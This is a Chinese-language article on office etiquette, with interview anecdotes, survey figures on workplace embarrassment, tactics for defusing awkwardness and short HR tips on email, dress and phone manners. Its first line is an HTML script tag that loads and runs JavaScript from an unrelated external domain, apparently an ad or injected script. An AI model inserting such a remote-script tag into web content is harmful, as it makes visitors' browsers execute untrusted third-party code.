<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script> 從這家公司跳到那家公司，卻忽然發現以前的同事現在正坐在你前面的辦公桌。這個世界真的很小，也許他今天只不過和你是同事，但是難保他明年不是你上司。所以，多設身處地地站在他人的立場考慮，別太計較自己暫時的得失。把禮儀融入生活，它將為你帶來無盡的財富。禮儀交際大有學問，它將不僅局限在面對面的簡單行為舉止上，而且也會影響到你在職場中的親和度。

　　禮儀ｖｓ尷尬

　　劉顏第一次去面試時，剛走出大廈內的電梯，就巧遇面試官，簡短介紹后，她把劉顏帶進了會議室，倒水、關門、遞名片，事情發展得讓劉顏感到錄用的信號頻頻發出。面試結束后，劉顏才站起來，面試官含笑說道："你面試時有幾個小問題。首先接名片時要用雙手接，接完后要看幾秒鐘，把名片面對自己，平放在桌上。其次你說話時會不自覺地搖晃腦袋。"聽完這幾句話，劉顏的腦子一下子蒙了，下意識地向對方表示感謝。本以為，面試就此結束了，誰知面試官同他一起朝電梯走去，劉顏還以為她是要坐電梯下樓，但當劉顏走進電梯，就在門半開半關之際，聽到她說了一聲再見，緊閉的電梯門印出劉顏呆滯、沒有任何反應的臉，劉顏連再見也沒說，結束了面試。

　　曾有專門機構做出調查，顯示：只有６．９９％的受訪者表示從沒有遭遇過禮儀尷尬。９３比７，禮儀造就尷尬，也承載著尷尬。這就好像兩個復雜的生物面對面禮節交流的時候，產生的火花比毛線還要亂。但是由于利益的存在，我們必須小心翼翼地打理這團線球，禮節做得不夠或者做得過火都有可能使場面陷入僵局。做業務的人時常會被老板叮嚀：照顧對方的感受，不要讓對方尷尬，把單子拿下再說。然而，真的到了事上，往往一個小小的細節就能透露我們的"失策"。

　　辦公室中，你最在意什么？

　　先來了解一下大家的需求，２３％的受訪者選擇了"儀容儀表整潔大方"，３８％的人選擇了"禮貌用語"，尊重個人隱私占了２２％，"紳士風度"僅達到８％。這些選擇存在遞階關系，就像馬斯洛的需求層次理論。５１．５４％的職場人表示在與人打招呼時，如果對方沒有予以理睬會讓他們覺得傷心和尷尬。可是，這里面也會出現一個潛在磁場，誰先發出"問好"的信號，先打招呼有可能換來對方的無視，這點就像待字閨中的大姑娘，主動了難免會吃虧，誰都不愿跨出第一步。或者是遭受一次打擊后干脆退縮，再也不去主動，于是惡性循環。另有４４．８５％的職場人控訴自己的話曾被別人無理打斷。傾訴是一個人的本能，壓抑的能量在發泄的過程中被打斷，多少會讓本人感到不舒服。

　　曾經的遭遇

　　上班族的尷尬處境還集中表現在談話被忽略、被叫錯名字或被搞錯職位、別人接受了幫助卻不知言謝等。尷尬的委屈是各自的辦公禮儀準線存在差異，每個人心里的秤砣不是一樣重。你的勾肩搭背可能是為了表示友好，但對方卻很有可能理解成"是對他的輕視和不屑"。

　　我們應該如何做才能同時照顧好自己和別人的嬌嫩情緒呢？這個問題就像在問"要金錢還是要自由"，答案永遠不可能兼得。蘇格拉底曾說過：人最高的境界就是無視自己的存在。這是仙人的境界，我們修煉成正果還需要一段漫長的路要走。如果尊重對方，就應該以對方的禮儀準線為基準。不要用自己的要求來評判別人的行為或用自己的低標準來對待別人。

　　唯一不能讓步的就是個人隱私。在電信公司做客服的李迎一就遇到過這樣的一件事：李迎一的上司是一位不拘小節的女士，有一天她的辦公室門大開著，從里面傳出她和丈夫通電話的談話聲。一開始還只是說些平常事，漸漸地不知怎么回事兩人吵了起來，上司的聲音越來越大，一直在指責她的丈夫，說他這不好那不好。李迎一在外面聽得清清楚楚，想去給她把門關上，但是一想，這樣不是等于直接告訴她"自己聽到了"嗎？李迎一只好裝做渾然不知的樣子。她只有在心里期望這種事以后不要再有了。

　　遭遇尷尬時，你會

　　即使是處事再小心，也難免會遇到令人尷尬的場面。做人力資源的方小姐最討厭說話被別人忽視，特別是在開會中，由于需要匯報的事情太多，而領導相對比較關心一線部門的情況，于是像人力資源這些后勤部門的主管發言經常會被淹沒在一片"業績、客戶"聲中。這樣的事屢屢發生。為了盡量避免這樣的情況，現在方小姐每次在開會前，都會做大量的準備工作，然后在會議上尋找適合的時機開口，實在沒有機會的話，她寧愿等到會后再另找時間向老板單獨匯報。像方小姐的這種化解辦法，不失為一種解決辦法。而化解尷尬的方法也有很多，就像布什發生口誤后，馬上察覺出來并調皮地向女王眨眼，最終還是得到了女王的諒解，最終女王也以少見的幽默回應布什的口誤--"二百年的出生誤差"。

　　綜合大家的化解職場尷尬大法，不外乎以下幾種：道歉、裝瘋賣傻、自嘲、轉移話題。５１．３０％的職場人表示會主動采取措施，緩和尷尬氣氛，不管罪魁是不是本人，都會放個臺階先給對方。這樣的人很討巧，他們甚至會選用"自我嘲諷，自我貶低"的方式來成功扭轉氛圍。４４．７９％的職場人選擇"就當事情沒有發生過"，可能是局面受限或者雙方的羞澀性格迫使當事人抹除這部分記憶。有３．１９％的人大膽表示"讓別人尷尬去吧"，職位的屬性和職位的等級決定了這個選項所占有的比例是極少的。

　　另外，把對方傷得過重或是觸犯了原則問題，可以鄭重地道歉，但道歉時切莫一味謙卑，這反而會引起另一場尷尬風波，嚴重的還會使對方厭惡和唾棄自己。此時，借用話題的轉移引開對方的關注點不失為一種更好的、體面的處理辦法。通常人會很容易被帶進新話題的討論，而明眼人則能立刻領悟你的用意，加以配合。裝瘋賣傻是種可愛的投機做法，但它不適用所有的對象，處事風格較為嚴謹或職位達到一定等級的人，會忌諱這樣的行為，否則職業形象會毀于一旦。最高的境界便是自嘲，這是職場資深人士慣用的手法，看似自我嘲諷，實則以退為進。

　　ＨＲ　法則

　　１．郵件按照一天處理３０封郵件，每封需時５分鐘計算，８個小時中有１／４的時間在處理郵件。因此新建郵件時，標題應明晰，便于收件者從標題了解內容；添加重要等級標記便于收件者安排處理郵件的順序。

　　２．穿著穿的衣服永遠不要比老板的好，開的車永遠不要比上級的貴。重新進入新的工作環境，要和團隊的風格保持一致。

　　３．電話上級不在，而此時他的電話響了，記住如果忘記詢問對方基本信息，就干脆不要告訴上級你曾接聽過他的電話，否則這等于是開了一張空頭支票給他。此外，絕對不能向對方泄露上級的任何信息，包括目前去向、手機號碼和日程安排等。可以使用"具體情況不知道，是否要留言給他"來應急。

　　４．招呼非工作區域，碰上大老板，有些人會圍繞天氣和交通情況等無關痛癢的話題與老板交談，其作用就像中國銀行的股票，不會跌宕起伏，但偶爾會有個漲停。贊美對方是個不錯的選擇，從穿著和精神狀態上入手，但要把握尺度。至于談不談工作，完全取決于老板的喜好，如果老板熱衷于此，那么碰上他就說吧。

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總結

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